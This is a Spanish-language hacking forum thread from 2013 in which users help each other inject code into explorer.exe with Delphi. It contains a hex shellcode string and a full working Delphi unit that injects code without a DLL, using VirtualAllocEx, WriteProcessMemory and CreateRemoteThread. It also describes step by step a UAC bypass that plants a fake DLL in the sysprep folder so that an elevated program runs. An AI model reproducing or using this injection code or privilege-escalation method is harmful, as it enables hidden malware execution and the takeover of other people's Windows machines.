• ayuda inyectar codigo en proceso explorer o notepad

 #418929  por joselin
 15 Jul 2013, 15:01
bueno , tengo el escritorio lleno de ejemplos pero todos me funcionan en delphi7, y cuando los paso a delphi2010 estan llenos de errores
quiziera que alguien me enseñe a inyectar mi codigo(probe el programa de fakedor pero sin resultado )
agradecido por demas si me ayudan ,mientras tanto sigo estudiando este tema
 #418931  por velario
 15 Jul 2013, 15:47
Si te funcionan en delphi7 y no en 2010 seguramente sea por el cambio a unicode, ten en cuenta que a partir de 2010 string = widestring.
Imagino que con lo del programa de Fakedoor te refieres a su ejemplo de inyección de código sin dll. Si no te funciona eso es que algo estas haciendo mal porque funcionar funciona.
Intenta empezar por inyectar un simple showmessage y a partir de ahí sigue.
Te aconsejo que uses el debugger del ide para ver que valores van cogiendo las variables y que uses ollydbg a partir de la inyección para ver lo que estas inyectando así sabrás si el problema esta antes de la inyección o después.

Saludos.
 #418966  por Pink
 16 Jul 2013, 00:31
Hola Podrías inyectar estos OPCODE. sonde un MessageBox.

Código: [ Debe registrarse para ver este enlace ]
Local Opcode = "0xFC33D2B23064FF325A8B520C8B52148B722833C9B11833FF33C0AC3C617C022C20C1CF0D0"
	$Opcode &="3F8E2F081FF5BBC4A6A8B5A108B1275DA8B533C03D3FF72348B527803D38B722003F333C941AD03C381384765745075F4"
	$Opcode &="817804726F634175EB8178086464726575E2498B722403F3668B0C4E8B721C03F38B148E03D35233FF576861727941684C6962"
	$Opcode &="72684C6F61645453FFD2683332010166897C2402687573657254FFD0686F7841018BDF885C24036861676542684D6573735450FF54"
	$Opcode &="242C57685E2E5E218BDC57535357FFD068657373018BDF885C24036850726F63684578697454FF742440FF54244057FFD0C3"

claro pásalos a un byte array en delphi e inyectalo.


también puede crearlo en threads para probar que los OPcode o tu función funciona correctamente.



saludos
 #418988  por joselin
 16 Jul 2013, 09:11
opcodes..¿y eso con que se come? (voy a verlo)
la inyeccion es un tema complicado y no le estoy dando en el clavo
velario sacame esta duda el programa de fakedoor inyeccion sin dll
ejecuta un exe cualquiera que le pasemos como explorer.exe?
por que a mi no me funciona(perdon el programa que le paso al inyector si se ejecuta, el problema es que se ejecuta sin las credenciales de explorer.exe) .
[ Debe registrarse para ver este enlace ]
unit Unit2;

//******************************************************************************
//* UNIT:         UNT_InjectNoDLL
//* AUTOR:        Fakedo0r .:PD-TEAM:.
//* FECHA:        31.08.2012
//* CORREO:       [email protected]
//* BLOG:         Sub-Soul.blogspot.com / Sub-Soul.com
//* USO:          Inyectora;
//******************************************************************************

//******************************************************************************
//DECLARACION DE LIBRERIAS / CLASES
//******************************************************************************
Interface

Uses
 Windows, TLHelp32, PsAPI, ShellAPI,forms,sysutils,dialogs;
//******************************************************************************
//DECLARACION DE ESTRUCTURAS
//******************************************************************************
Type
  PTINJECT = ^TINJECT;

  TINJECT = Record
    __ShellExecute: Function(HWND: HWND; Operation, FileName, Parameters,
      Directory: PWideChar; ShowCmd: Integer): HINST; Stdcall;

    cExe: Array [0 .. MAX_PATH] Of Char;
    cOper: Array [0 .. MAX_PATH] Of Char;
  End;
//******************************************************************************
//DECLARACION DE FUNCIONES / PROCEDIMIENTOS
//******************************************************************************
Procedure Inyectada(tInj: PTINJECT); Stdcall;
Procedure Inyectar;
Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
  iBuffSize: Int64): Pointer;
//******************************************************************************
Implementation
//******************************************************************************
//<--- LA FUNCION QUE VAMOS A INYECTAR --->
//******************************************************************************
Procedure Inyectada(tInj: PTINJECT); Stdcall;
Begin
  tInj.__ShellExecute(0, tInj.cOper, tInj.cExe, Nil, Nil, 1);
End;
//******************************************************************************
//<--- LA FUNCION QUE OPERA LA INYECCION --->
//******************************************************************************
Procedure Inyectar;
Var
dir:string;
  uTamFun:    UINT;
  dwPID:      DWORD;
  dwExitCode: DWORD;
  hThread:    THandle;
  hProcess:   THandle;
  ptStruct:   Pointer;
  ptEsp:      Pointer;
  tProcEntry: TProcessEntry32;
  tInj:       TINJECT;
Begin
  uTamFun := 0;
  dwExitCode := 0;
  hProcess := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  tProcEntry.dwSize := Sizeof(tProcEntry);

  If Process32First(hProcess, tProcEntry) Then
  Begin
    Repeat
      If tProcEntry.szExeFile = 'explorer.exe' Then
      Begin
        dwPID := tProcEntry.th32ProcessID;
        Break;
      End;
    Until Not Process32Next(hProcess, tProcEntry);
  End;

  CloseHandle(hProcess);

  // obtenemos el handle del proceso
  hProcess := OpenProcess(PROCESS_ALL_ACCESS, False, dwPID);

  // obtenemos el puntero del api
  @tInj.__ShellExecute := GetProcAddress(LoadLibrary('Shell32.dll'),
    'ShellExecuteW');

  // copiamos los datos en las variables

dir:=ExtractFilePath(Application.ExeName)+'ifile.exe' ;
  showmessage(dir);


  lstrcpy(tInj.cExe, PChar(dir));
  lstrcpy(tInj.cOper, PChar('open'));

  // reservamos y copiamos nuestra estructura a la memoria
  ptStruct := AllocAndCopyMem(hProcess, @tInj, Sizeof(TINJECT));

  // calculamos el tamaño de nuestra funcion
  uTamFun := UINT(@Inyectar) - UINT(@Inyectada);

  // reservamos y copiamos nuestra funcion a la memoria
  ptEsp := AllocAndCopyMem(hProcess, @Inyectada, uTamFun);

  // creamos el hilo remoto
  hThread := CreateRemoteThread(hProcess, Nil, 0, ptEsp, ptStruct, 0,
    PDWORD(Nil)^);

  If hThread <> 0 Then
  Begin
    // esperamos hasta que se cree el hilo
    WaitForSingleObject(hThread, INFINITE);
    // obtenemos el estado de terminacion del hilo
    GetExitCodeThread(hThread, dwExitCode);
    // liberamos el handle del hilo creado
    CloseHandle(hThread);
    // liberamos el espacio en el proceso
    VirtualFreeEx(hProcess, ptStruct, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, ptEsp, 0, MEM_RELEASE);
  End;

  // liberamos el handle del proceso
  CloseHandle(hProcess);
End;
//******************************************************************************
//<--- RESERVA ESPACIO Y ESCRIBE EN LA MEMORIA --->
//******************************************************************************
Function AllocAndCopyMem(hProcess: THandle; ptBuffer: Pointer;
  iBuffSize: Int64): Pointer;
Var
  iBytesWritten:dword;// SIZE_T; es dword en delphi2010
Begin
  iBytesWritten := 0;
  // reservamos espacio
  Result := VirtualAllocEx(hProcess, Nil, iBuffSize, MEM_COMMIT Or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
  // escribimos
  WriteProcessMemory(hProcess, Result, ptBuffer, iBuffSize, iBytesWritten);
End;

End.
y lo llamo asi
Código: [ Debe registrarse para ver este enlace ]
procedure TForm1.Button1Click(Sender: TObject);
begin
inyectar;
end;
ya termine la parte del bypass uac referido a lo que no es inyeccion
para probarlo si quieren deben ejecutarlo como admin (que vendria a hacer la inyeccion que no tiene, es solo a modo de ejemplo)
[ Debe registrarse para ver este enlace ]
esta en modo consola y hace lo suiguiente

tiene como recursos la dll falsa y block.exe(es el programa mio que deja sin internet el pc por 10 segundos ,y requiere uac)
al ejecutarlo (como administrador)
extrae los recursos a temp y copia la dll a sistem32\sysprep
verifica que existe la dll falsa en el directorio y ejecuta sysprep.exe que carga la dll falsa(la dll ejecuta block.exe que esta en folder temp)
sleep(1000);
y elimino la falsa dll para evitar problemas
el programa no esta empacado asi que pueden verlo por donde quieran
saludos
 #418993  por velario
 16 Jul 2013, 11:23
muy ofuscado escribió: velario sacame esta duda el programa de fakedoor inyeccion sin dll
ejecuta un exe cualquiera que le pasemos como explorer.exe?
por que a mi no me funciona(perdon el programa que le paso al inyector si se ejecuta, el problema es que se ejecuta sin las credenciales de explorer.exe) .

Me parece que no lo estas entendiendo y te estas liando un poco.

Cuando inyectas código directamente a un programa, no significa que si inyectas un shellexecute, el exe que ejecutes tenga las credenciales/permisos/etc del programa al que estas inyectando.

Lo que haces es que "tu" código lo ejecute otro programa (al que estas inyectando). Es decir, tu código funciona y funciona bien, hace lo que se supone que tiene que hacer, hace que explorer.exe ejecute otro programa, sin mas.

Para aprovechar el "fallo" para el uac, tienes que programar una función que (una vez inyectada) haga que explorer.exe (o el programa que sea) use esa pequeña ventaja de permisos que tiene para poder crear objetos com y bla bla bla etc (esta todo explicado y requete explicado en el POC).

Espero que así lo entiendas, que te des cuenta que no es cuestión de hacer copy&paste de código que vas encontrando por ahí, primero tienes que "entender" lo que quieres hacer y después programarlo. Si no entiendes bien lo que quieres hacer no conseguirás nada y probando código de otros modificando una linea no vas a entender nada, no sabrás como ni porque hace las cosas que hace. A parte, te aconsejo que por lo menos te leas un par de manuales de asm para poder depurar la inyeccion porque solo así sabrás si tu código funciona bien o mal y por que y donde falla si no nunca sabras lo que estás haciendo mal.

Saludos.
 #418996  por joselin
 16 Jul 2013, 11:40
ahora caigo sobre el tema de la inyeccion,
estoy revizando un code de inyeccion con argumentos como lo hace el poc
por ahi va el tema.
el ifileopearion de copiar y eliminar ya lo manejo
es cierto no todo es copy paste pero , pero de ves en cuando busco info en msdn, me ayudo a entender los SetOperationFlags
gracias velario
proba mi ejecutable y decime como va.
lo de asm no me gusta , mejor le doy el codigo a pink (que me parece que algo entiende) y que lo depure,
"si alguien quiere coperar en el codigo que me avise y le envio el source"
saludos
 #419002  por velario
 16 Jul 2013, 13:52
muy ofuscado escribió: lo de asm no me gusta , mejor le doy el codigo a pink (que me parece que algo entiende) y que lo depure,
"si alguien quiere coperar en el codigo que me avise y le envio el source"
saludos
Pues te debería gustar porque a parte de entender que es lo que le estas inyectando al ejecutable, también sirve para pasar cualquier función a opcodes, con todo lo que ello conlleva.
 #419141  por joselin
 18 Jul 2013, 06:25
gracias por la ayuda a los dos.
encontre referencias para comenzar desde cero,
[ Debe registrarse para ver este enlace ]
  • inyeccion sin dll
    ----
    Aquí la cosa se complica. Las diferencias entre un método y otro son:
    - Ahora no podemos utilizar cadenas de texto directamente como argumentos a funciones. Ya veremos por qué.
    - No podemos llamar a ninguna función que no carguemos previamente con LoadLibrary + GetProcAddress. Esas
    dos están cargadas en todos los ejecutables de Windows desde kernel32, así que podemos usar un puntero a ellas.
    - Tenemos que escribir todo el código de nuestras funciones en el espacio de memoria del proceso.
    - Necesitaremos estructuras mas complejas como argumento de nuestros hilos remotos.

    Así que el proceso de inyección quedaría así:
    - Crear una estructura de datos con TODAS las cadenas de texto que vayamos a usar en el código inyectado, y
    con un puntero a LoadLibrary y GetProcAddress.
    - Abrir el proceso.
    - Reservar memoria para la estructura de datos. Escribirla.
    - Reservar memoria para nuestro código. Escribirlo.
    - Lanzar el hilo remoto, dando como punto de entrada el puntero a neustro código y como argumento el puntero
    a nuestra estructura de datos.
y tambienen esta pagina
[ Debe registrarse para ver este enlace ]
ahora queda solo aprender y probar (muy ofuscado nunca se rinde ,)